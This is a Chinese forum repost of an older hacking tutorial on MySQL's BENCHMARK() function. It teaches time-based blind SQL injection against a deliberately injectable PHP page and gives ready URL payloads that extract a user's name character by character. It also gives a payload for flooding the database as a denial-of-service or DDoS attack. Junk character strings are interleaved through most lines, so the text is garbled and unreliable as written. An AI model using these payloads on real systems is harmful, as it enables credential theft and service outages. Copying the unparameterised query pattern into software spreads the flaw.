找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1952|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
) [" @2 y. ]: D2 j" }+ u* J本文作者:SuperHei
6 k- z. X4 e4 G文章性质:原创
! h: Q6 a, n. u" A发布日期:2005-01-020 c2 ?. l* T- q/ M# c9 S1 h) @1 t
完成日期:2004-07-09 % n+ m! N) C2 n( H* _/ \
第一部
+ o/ u  q2 t1 L$ V% B, a1 [" j' ^* q, K. a9 _8 r# s# ~" ]
利用时间推延进行注射---BENCHMARK函数在注射中的利用
- i% t$ Y' Q/ r
( V( q% q: G1 ?4 k( b6 b一.前言/思路; F8 o* r) z/ p$ [( u

; n) f% L9 D8 k$ _0 m  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。5 {: [& l# q9 P3 h& S6 n
0 E% C& h2 v2 ?; Z: q6 L0 K
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。) O$ ]$ N- S. y) c

( E/ Y8 e' Z( g二.关于BENCHMARK函数: D4 {5 J# V0 b9 ^; e8 C

1 q" X7 `& A, y# S, a  在MySQL参考手册里可以看到如下描叙:
3 `  w5 \' E; H/ B, c6 i- I- Z) C, L; o8 W& _
2 o! P* O% o9 H" w% g1 K1 ]) ]% n
--------------------------------------------------------------------------------
! K7 L8 r1 y6 E8 m3 P/ C9 r  z( y
9 `  f% `# G, ?7 B' bBENCHMARK(count,expr)
" a; \( H  h4 M- UBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 0 d5 h1 f! \& W* V0 w
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
3 G, W/ d$ V4 m! q9 _, x+----------------------------------------------+
* `" \  T9 }$ Z| BENCHMARK(1000000,encode("hello","goodbye")) |
3 ^# l- \0 B3 c. V8 [+----------------------------------------------+
- V; n7 Y3 l' a: _% {9 }# Z| 0 | % l$ K! B: W& ^! Q; R( G' l2 _
+----------------------------------------------+ - M& f4 d0 V2 |5 ?5 G- a
1 row in set (4.74 sec) ; A+ b3 p: @1 f" O* l" C. A
7 T; M" B) ?- [  ]* k  X8 ^0 J
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
& _+ P, \* h$ b) E: U8 Q: k+ h
! w8 g" ^) Z$ u; u! U( f$ s: R
& _; R; |3 S3 _  ?--------------------------------------------------------------------------------7 l; S/ K3 R2 c, o+ Y# e

' K$ H( K! q: I& E; U  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
7 v8 C- p, O2 ~  f" x8 d, c2 ?! K( G( c* y: ~5 c* B: Q: G+ E
mysql> select md5( 'test' ); - t/ u3 {2 N% C. \
+----------------------------------+ ( c6 d- t  C' B/ R& Z8 o1 ~
| md5( 'test' ) | $ V& Y' Y3 k5 i# K. {
+----------------------------------+ ! `& P5 G: X  B
| 098f6bcd4621d373cade4e832627b4f6 | 7 G+ B1 O# u6 k4 Q6 b# S
+----------------------------------+ 2 u# f; d# F3 G  d0 t
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
  O) T3 K% I- l7 D/ R/ T, h- l4 f# s1 T5 v6 j7 \& m+ [" o. W
mysql> select benchmark( 500000, md5( 'test' ) );
! f0 k' ^4 {* O; B! |, U+------------------------------------+ 3 u) ?% h' N! Q5 u  M% M
| benchmark( 500000, md5( 'test' ) ) | * [3 `: M6 }) n$ L% j
+------------------------------------+
0 `# {! |" |4 V9 }0 d# ?. e| 0 |
: Y. A8 }7 a% ]2 d5 D7 V/ _% R  N+------------------------------------+ 3 ~$ {" n. f9 O; R. X3 q" |) P
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
* ~2 |5 q! Z4 B5 }
9 l2 o5 I0 L" K0 [0 X9 N. P+ X( m
0 k0 p- |/ M  h; s, ]  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
; N/ J" |. B+ g' ?4 n1 P0 k( b" J5 P- U' k
三.具体例子: O, I' p9 i" i8 T8 J8 `4 P) L
6 {1 r4 x! V+ X/ V
  首先我们看个简单的php代码:
8 b. _& t: w4 M8 ^6 H8 q/ r, X! M6 E
< ?php
# D# }9 X8 j) |9 {' A$servername = "localhost"; ; t( G3 G3 b9 J' x3 o
$dbusername = "root"; 6 F! x; i; N5 p" O  n
$dbpassword = "";
2 {. l1 U1 Y" v' W( `& C7 g" r$dbname = "injection";
& [, Y) S6 v) |3 g+ i5 e' x/ r4 G# ~$ M1 U$ }
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 6 `* P3 z) x$ }

# p+ M) y3 r6 ^' L$sql = "SELECT * FROM article WHERE articleid=$id"; # x+ P/ H, `9 g5 r+ e& ~: m
$result = mysql_db_query($dbname,$sql); 1 A, T" p7 T2 {: |+ e$ j
$row = mysql_fetch_array($result); 5 ?5 F9 T) `7 V0 O, w( c% C; o
( ^# P/ [1 k3 ]+ o
if (!$row)   A0 a3 A2 A8 X5 x' ^6 Z5 W+ d# I" Z
{
# b$ }; a+ p# v; D, h$ zexit;
5 D. Y. n! k$ A& B. g( O/ V6 H} ' A" Y  B; K/ A8 P8 s  n
?>- o* Z. X: s& u- x1 {4 b( Z

+ L' W4 w6 z5 X, A  i1 w
2 H+ ~$ N# |5 W* l  数据库injection结构和内容如下:
$ X1 d' w0 _2 K0 A% S9 B, @! A8 R( D2 d6 `& H+ g, R' e9 @0 M+ {9 S* ^
# 数据库 : `injection` . s6 d7 C4 _+ U4 C& t" z! l
# & L2 z! ^! |; G2 A4 E# F/ W. w+ N7 _- ^

. P+ Q& \& E0 t" B5 N6 n  f# --------------------------------------------------------
) P8 \* c# D" ~. S% l) ]3 L4 U# T7 ~& f+ D8 Q" l: N+ N# m0 j
# , \; c) d6 j# X' e  ~. I
# 表的结构 `article` 6 d( G! N- j" b) u" f7 U2 Q6 T
#
+ p/ Y$ n  s1 @. k; q* Z8 D) j7 G& l! X+ B$ P
CREATE TABLE `article` ( 5 I: W3 Y% W$ u$ @; Z# ^8 `( y& _
`articleid` int(11) NOT NULL auto_increment, * M2 ^: M3 d; |  I
`title` varchar(100) NOT NULL default '',
5 W6 ~1 Y* @' Q5 W`content` text NOT NULL,
( r. F5 @' t' TPRIMARY KEY (`articleid`)
9 X4 m2 P* ?* s, H7 J2 s+ _. n0 r) TYPE=MyISAM AUTO_INCREMENT=3 ; % r* f" x1 M( n0 E

. j8 [5 o! b" }" \, a# 8 `8 u1 F' G. i7 r+ l$ Y: G2 M
# 导出表中的数据 `article`
! [8 n0 x- z8 q% p3 z; `#
0 W9 [9 d7 o0 `3 N0 C: Y6 s/ I# y( |/ w8 S
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); # X5 }4 X! S* }9 w
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
* |: F2 I2 \( E0 n2 Q) Y  `
9 B) e# c/ ]+ z8 W- h/ O7 S# --------------------------------------------------------
  D$ b, N8 k. `1 H. O8 P5 m% {( j- l
# 5 E9 X# R, A7 F  n
# 表的结构 `user`
5 J0 \% w8 \2 h# 6 [$ @' B6 g# x6 {0 C( N4 _
6 J+ U% d' O/ {2 Z- B" r( G* ~" u
CREATE TABLE `user` ( 3 d3 [) I! M3 `
`userid` int(11) NOT NULL auto_increment,
& i$ y- ~- u+ d# e" d; k9 d`username` varchar(20) NOT NULL default '', . V( ?* \6 ?9 A, Y/ Z5 _
`password` varchar(20) NOT NULL default '',
1 `: v9 Z! C2 A! s; q: ~- WPRIMARY KEY (`userid`) , K8 C; l. c7 M4 Q/ b" i3 o
) TYPE=MyISAM AUTO_INCREMENT=3 ; , j+ F: D1 \; c  E& ^, C

" Z9 E2 `( H8 d" d2 |# + r8 H- S- }. Q5 R' d" U  H
# 导出表中的数据 `user`   z( {. E9 `& f8 T0 n
#
' g1 t' [! u# w( f. ~  P  g
5 w  U7 P; C: A4 XINSERT INTO `user` VALUES (1, 'angel', 'mypass');
! k' M( P- J7 {; b0 SINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
) H4 h* J( a  J: j) _ 1 B: v) Y1 p5 \3 V

* L$ ~6 t' Y" X* J6 ~8 ?  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
2 T0 {- u9 ?5 r$ f! @7 a1 F9 q% V6 I% w4 N' [
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*" q. i* e( i! D) c1 y
: F  E3 I5 I* O& E- }9 G+ ^" n4 U9 ]

$ |  c! b9 A0 j5 F  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
; D0 a+ b) F& ]/ j
) l) N- d: u5 `$ W2 ahttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*  C" ?, f  I6 I4 s- f

% }" D8 }# v& W
$ j$ r7 {( n2 a+ s7 M0 E, s9 ^) o  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 9 i! d2 f8 Y& Q, V$ @7 a
& a: a; `1 n* H# t3 v
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
+ T4 [6 M. X5 c' g. n- b. d2 }5 \( Z( \( J
第二部; O. s1 J( h. [0 f$ P9 {" ^
( ~2 t8 ^* Q5 W9 X/ a
利用BENCHMARK函数进行ddos攻击 $ `( \# f6 h! @  {9 M

0 L5 Y1 f4 B8 d2 ~3 B4 e: h  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
8 e7 c& C  E) B1 R7 I; W
+ A2 o1 d# _+ o2 D" j: {: T9 t" phttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
# y6 j6 l% ~  p  ?) O) P2 l2 ]
# M8 V  Z& n8 J' v" M5 g9 ^" ~: M, H# b8 Z/ n
小结/ C, e, R$ r+ a4 }

6 `. x3 _$ B7 Q$ r  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。: o, ^5 r: w; x
* R9 [: q# W% d" `7 ?+ ^8 A2 L
  
# @' i  q+ }# n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表